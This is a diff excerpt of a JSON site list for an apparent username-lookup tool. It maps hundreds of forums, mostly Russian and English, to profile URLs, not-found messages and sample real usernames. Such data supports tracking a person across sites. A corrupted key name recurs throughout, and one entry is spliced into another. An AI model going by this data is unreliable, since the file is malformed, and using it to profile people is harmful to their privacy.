"country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.toribash.com/member.php?username={}", + "urlMain": "https://forum.toribash.com/", + "usernameON": "s1lvered", + "bad_site": "" + }, + "Forum_tornado": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.tornado.ws/u/{}/summary", + "urlMain": "https://forum.tornado.ws", + "usernameON": "sean", + "bad_site": "" + }, + "Forum_torquecars": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.torquecars.com/forums/members/?username={}", + "urlMain": "https://www.torquecars.com", + "usernameON": "mrmacbirch", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tortik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://tortik.ucoz.ru/index/8-0-{}", + "urlMain": "https://tortik.ucoz.ru", + "usernameON": "ggdrEmodyz", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_tosdr": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://tosdr.community/u/{}/summary", + "urlMain": "https://tosdr.community", + "usernameON": "shadowwwind", + "bad_site": "" + }, + "Forum_totallympics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://totallympics.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://totallympics.com", + "usernameON": "josh", + "bad_site": "" + }, + "Forum_totalrl": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.totalrl.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.totalrl.com", + "usernameON": "bobbruce", + "bad_site": "" + }, + "Forum_touchussuri": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://touchussuri.ucoz.ru/index/8-0-{}", + "urlMain": "https://touchussuri.ucoz.ru", + "usernameON": "staletpuhh", + "bad_site": "" + }, + "Forum_tour": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://tourum.net/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://tourum.net", + "usernameON": "etolmacheff", + "comments": "bad", + "bad_site": "" + }, + "Forum_touringplans": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.touringplans.com/u/{}/summary", + "urlMain": "https://forum.touringplans.com", + "usernameON": "heathernoel", + "bad_site": "" + }, + "Forum_tourtrans": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.tourtrans.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.tourtrans.ru", + "usernameON": "Evgeniya", + "bad_site": "" + }, + "Forum_toyotanation": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.toyotanation.com/members/?username={}", + "urlMain": "https://www.toyotanation.com", + "usernameON": "dna59", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_traceryoffate": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user does not exist.", + "errorMsg2": "Sorry, page not found", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://traceryoffate.com/forum/profile/{}/", + "urlMain": "https://traceryoffate.com", + "usernameON": "sentinel", + "bad_site": "" + }, + "Forum_tracfone": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tracfoneforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.tracfoneforum.com", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_trackchecker": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorTyp��": "message", + "url": "https://forum.trackchecker.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.trackchecker.ru", + "usernameON": "f2065", + "bad_site": "" + }, + "Forum_tractorbynet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tractorbynet.com/forums/members/?username={}", + "urlMain": "https://www.tractorbynet.com", + "usernameON": "bmaverick", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trade-print": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://forum.trade-print.ru/member.php?username={}", + "urlMain": "http://forum.trade-print.ru", + "usernameON": "trioprint", + "bad_site": "" + }, + "Forum_trade2win": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trade2win.com/members/?username={}", + "urlMain": "https://www.trade2win.com", + "usernameON": "wackypete2", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tradebrains": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "well-known/sgcaptcha", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.tradebrains.in/u/{}/summary", + "urlMain": "https://forum.tradebrains.in", + "usernameON": "nikitawaghmare", + "bad_site": "" + }, + "Forum_traderji": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.traderji.com/community/members/?username={}", + "urlMain": "https://www.traderji.com/", + "usernameON": "arunbalan", + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": 1 + }, + "Forum_traderslaboratory": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.traderslaboratory.com/forums/search/?q={}&type=core_members", + "urlMain": "http://www.traderslaboratory.com", + "usernameON": "fxeconomist", + "bad_site": "" + }, + "Forum_tradingqna": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://tradingqna.com/u/{}/summary", + "urlMain": "https://tradingqna.com", + "usernameON": "akashkb", + "bad_site": "" + }, + "Forum_tradtalk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tradtalk.com/members/?username={}", + "urlMain": "https://www.tradtalk.com/", + "usernameON": "lumis17", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_trainerroad": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trainerroad.com/forum/u/{}/summary", + "urlMain": "https://www.trainerroad.com", + "usernameON": "joex", + "bad_site": "" + }, + "Forum_transit-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://transit-club.com/index/8-0-{}", + "urlMain": "http://transit-club.com", + "usernameON": "Gidanov", + "bad_site": "" + }, + "Forum_trassa": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://trassa.by/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://trassa.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_travel": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.travel.ru/community/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_app_filters[forums][sortKey]=date&search_content=both&search_app_filters[forums][noPreview]=1&search_app_filters[forums][pCount]=&search_app_filters[forums][pViews]=&search_app_filters[forums][sortKey]=date&search_app_filters[forums][sortDir]=0&search_app_filters[forums][searchInKey]=&search_term=&search_app=forums&search_app_filters[forums][searchInKey]=&search_app_filters[forums][sortKey]=title&search_app_filters[forums][sortDir]=0", + "urlMain": "https://www.travel.ru", + "usernameON": "larsen099", + "bad_site": "" + }, + "Forum_travel_do": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.do.am/index/8-0-{}", + "urlMain": "https://travel.do.am", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_travel_my1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://travel.my1.ru/index/8-0-{}", + "urlMain": "https://travel.my1.ru", + "usernameON": "nbirukova1", + "bad_site": "" + }, + "Forum_trekbbs": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.trekbbs.com/members/?username={}", + "urlMain": "https://www.trekbbs.com", + "usernameON": "ericf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_trialscentral": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.trialscentral.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.trialscentral.com", + "usernameON": "choover", + "bad_site": "" + }, + "Forum_trimdownclub": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.trimdownclub.com/members/{}/", + "urlMain": "https://www.trimdownclub.com", + "usernameON": "kellyannsi", + "bad_site": "" + }, + "Forum_trinity-ai": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://trinity-ai.at.ua/index/8-0-{}", + "urlMain": "https://trinity-ai.at.ua", + "usernameON": "apelsinikgzy", + "bad_site": "" + }, + "Forum_trmk": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.trmk.org/forums/members/?username={}", + "urlMain": "https://www.trmk.org", + "usernameON": "ingend1945", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_troitsa": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://troitsa.ucoz.ru/index/8-0-{}", + "urlMain": "https://troitsa.ucoz.ru", + "usernameON": "Passhikinsky", + "bad_site": "" + }, + "Forum_trotting": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://tschkalowo.ucoz.ru/index/8-0-{}", + "urlMain": "https://tschkalowo.ucoz.ru", + "usernameON": "btaletjwhs", + "bad_site": "" + }, + "Forum_tskaro": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tulaignk.ucoz.ru/index/8-0-{}", + "urlMain": "http://tulaignk.ucoz.ru", + "usernameON": "prokofjev7", + "bad_site": "" + }, + "Forum_tumult": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.tumult.com/u/{}/summary", + "urlMain": "https://forums.tumult.com", + "usernameON": "daniel", + "bad_site": "" + }, + "Forum_tundrasolutions": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tundrasolutions.com/members/?username={}", + "urlMain": "https://www.tundrasolutions.com", + "usernameON": "dxrouse", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tuning_lviv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Тем або повідомлень, які відповідають вашому запиту, не знайдено.", + "errorMsg2": "Інформація", + "errorTyp��": "message", + "url": "http://tuning.lviv.ua/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://tuning.lviv.ua", + "usernameON": "jam", + "bad_site": "" + }, + "Forum_tupa-germania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.tupa-germania.ru/members/?username={}", + "urlMain": "https://forum.tupa-germania.ru", + "usernameON": "lagrange", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_tur_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://turkmeniya.ucoz.ru/index/8-0-{}", + "urlMain": "https://turkmeniya.ucoz.ru", + "usernameON": "koleg5992", + "bad_site": "" + }, + "Forum_turntoislam": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://turntoislam.com/community/members/?username={}", + "urlMain": "https://turntoislam.com", + "usernameON": "exceller", + "comments": "RUblock", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tus-wa": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "does not exist.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.tus-wa.com/profile/{}/", + "urlMain": "https://www.tus-wa.com", + "usernameON": "TheWalrus", + "comments": "super", + "bad_site": 1 + }, + "Forum_tvnewstalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Please wait", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://forums.tvnewstalk.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.tvnewstalk.net", + "usernameON": "red", + "bad_site": "" + }, + "Forum_tvsbook": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tvsbook.com/members/?username={}", + "urlMain": "https://www.tvsbook.com", + "usernameON": "jhjg67", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tvsput": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://tvsput.ru/index/8-0-{}", + "urlMain": "http://tvsput.ru", + "usernameON": "sickorskyvik", + "bad_site": "" + }, + "Forum_tvwbb": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://tvwbb.com/members/?username={}", + "urlMain": "https://tvwbb.com", + "usernameON": "bruno", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_tw200forum": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.tw200forum.com/members/?username={}", + "urlMain": "https://www.tw200forum.com", + "usernameON": "drlemonator", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_twilightmovie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://twilightmovie.ucoz.com/index/8-0-{}", + "urlMain": "https://twilightmovie.ucoz.com", + "usernameON": "фанатка", + "bad_site": "" + }, + "Forum_twilightrussia": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://twilightrussia.ru/index/8-0-{}", + "urlMain": "https://twilightrussia.ru", + "usernameON": "MissElen", + "bad_site": "" + }, + "Forum_twospoke": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.twospoke.com/members/?username={}", + "urlMain": "https://www.twospoke.com", + "usernameON": "stevesmith143", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_type2diabetes": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Page not found", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://type2diabetes.com/members/{}", + "urlMain": "https://type2diabetes.com", + "usernameON": "girlsaylor", + "bad_site": "" + }, + "Forum_u-hiv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.u-hiv.ru/index/8-0-{}", + "urlMain": "https://forum.u-hiv.ru", + "usernameON": "Slavochka", + "bad_site": "" + }, + "Forum_u-project": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://u-project.pro/members/?username={}", + "urlMain": "https://u-project.pro", + "usernameON": "takeshi", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_ua-vet": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://forum.ua-vet.com/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.ua-vet.com", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_uahack": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://uahack.at.ua/index/8-0-{}", + "urlMain": "https://uahack.at.ua", + "usernameON": "alexeiuslugivzloma", + "bad_site": "" + }, + "Forum_uaksu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://uaksu.forum24.ru/?32-{}", + "urlMain": "https://uaksu.forum24.ru", + "usernameON": "vleas", + "bad_site": "" + }, + "Forum_uberpeople": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uberpeople.net/members/?username={}", + "urlMain": "https://www.uberpeople.net", + "usernameON": "nats121", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ubports": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forums.ubports.com/user/{}", + "urlMain": "https://forums.ubports.com", + "usernameON": "applee", + "bad_site": "" + }, + "Forum_ubuntu": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessuna iscrizione corrisponde a questi criteri di ricerca.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.ubuntu-it.org/memberlist.php?username={}", + "urlMain": "https://forum.ubuntu-it.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ubuntu_mate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ubuntu-mate.community/u/{}/summary", + "urlMain": "https://ubuntu-mate.community", + "usernameON": "oldstrummer", + "bad_site": "" + }, + "Forum_uc-portaller": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://uc-portaller.ucoz.com/index/8-0-{}", + "urlMain": "http://uc-portaller.ucoz.com", + "usernameON": "use_vse", + "bad_site": "" + }, + "Forum_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum.ucoz.ru/index/8-0-{}", + "urlMain": "https://forum.ucoz.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_ucozweber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ucozweber.3dn.ru/index/8-0-{}", + "urlMain": "https://ucozweber.3dn.ru", + "usernameON": "SoVeR", + "bad_site": "" + }, + "Forum_ucozzz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://ucozzz.ru/index/8-0-{}", + "urlMain": "http://ucozzz.ru", + "usernameON": "podrubaj", + "bad_site": "" + }, + "Forum_ufachgk": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>Форум Uinsell.Net", + "errorTyp��": "message", + "url": "http://forum.uinsell.net/member.php?username={}", + "urlMain": "http://forum.uinsell.net", + "usernameON": "ghost", + "bad_site": "" + }, + "Forum_uk_muscle": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.uk-muscle.co.uk/members/?username={}", + "urlMain": "https://www.uk-muscle.co.uk", + "usernameON": "zenol", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ukraine_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Es wurden keine passenden", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ukraineforum.de/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://ukraineforum.de", + "usernameON": "Handrij", + "bad_site": "" + }, + "Forum_ukriversguidebook": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ukriversguidebook.co.uk/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.ukriversguidebook.co.uk", + "usernameON": "Franky", + "bad_site": "" + }, + "Forum_uktechhub": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Page not found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://uktechhub.com/forums/users/{}/", + "urlMain": "https://uktechhub.com", + "usernameON": "uk-sentinel", + "bad_site": "" + }, + "Forum_ulanovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Результатов поиска нет", + "errorMsg2": "По вашему запросу ничего не найдено", + "errorMsg3": "возникла проблема", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://ulanovka.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://ulanovka.ru", + "usernameON": "mac", + "bad_site": "" + }, + "Forum_ulfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://ulfishing.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://ulfishing.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_ulisp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "http://forum.ulisp.com/u/{}", + "urlMain": "http://forum.ulisp.com", + "usernameON": "nanomonkey", + "bad_site": "" + }, + "Forum_ulybka_borda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "/noindex>-->

", + "errorTyp��": "message", + "url": "https://sign-forum.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://sign-forum.ru", + "usernameON": "KalinaAlexandr", + "bad_site": "" + }, + "Signal_community": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops! That page doesn’t exist or is private.", + "errorMsg2": "Signal Community", + "errorTyp��": "message", + "url": "https://community.signalusers.org/u/{}/summary", + "urlMain": "https://community.signalusers.org", + "usernameON": "whatnoww", + "bad_site": "" + }, + "Silver-collector": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.silver-collector.com/u/{}/summary", + "urlMain": "https://www.silver-collector.com", + "usernameON": "red", + "bad_site": "" + }, + "Similarworlds": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://similarworlds.com/{}", + "urlMain": "https://similarworlds.com", + "usernameON": "Messygirl3", + "bad_site": "" + }, + "Skodaforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorMsg3": "FASTPANEL", + "errorTyp��": "message", + "url": "http://www.skodaforum.ru/member.php?username={}", + "urlMain": "http://www.skodaforum.ru", + "usernameON": "rivera", + "comments": "bad", + "bad_site": 1 + }, + "Skyblock": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://skyblock.net/members/?username={}", + "urlMain": "https://skyblock.net", + "usernameON": "noobcrew", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skynetzone": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://skynetzone.net/members/?username={}", + "urlMain": "https://skynetzone.net", + "usernameON": "battarismos", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyrimforums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://skyrimforum.com/forum/members/?username={}", + "urlMain": "https://skyrimforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Skyscrapercity": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W|[а-яА-Я]", + "errorTyp��": "redirection", + "url": "https://www.skyscrapercity.com/members/?username={}", + "urlMain": "https://www.skyscrapercity.com", + "usernameON": "adam", + "bad_site": "" + }, + "Slack": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.slack.com", + "urlMain": "https://slack.com", + "usernameON": "blue", + "bad_site": "" + }, + "Slamdunk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "urlMain": "https://www.slamdunk.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Slantmagazine": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.slantmagazine.com/author/{}/", + "urlMain": "https://www.slantmagazine.com", + "usernameON": "justinclark", + "bad_site": "" + }, + "Slashdot": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": " - Slashdot User", + "errorMsg2": "The user you requested does not exist, no matter how much you wish this might be the case.", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://slashdot.org/~{}", + "urlMain": "https://slashdot.org", + "usernameON": "adam", + "bad_site": "" + }, + "Slides": { + "country": 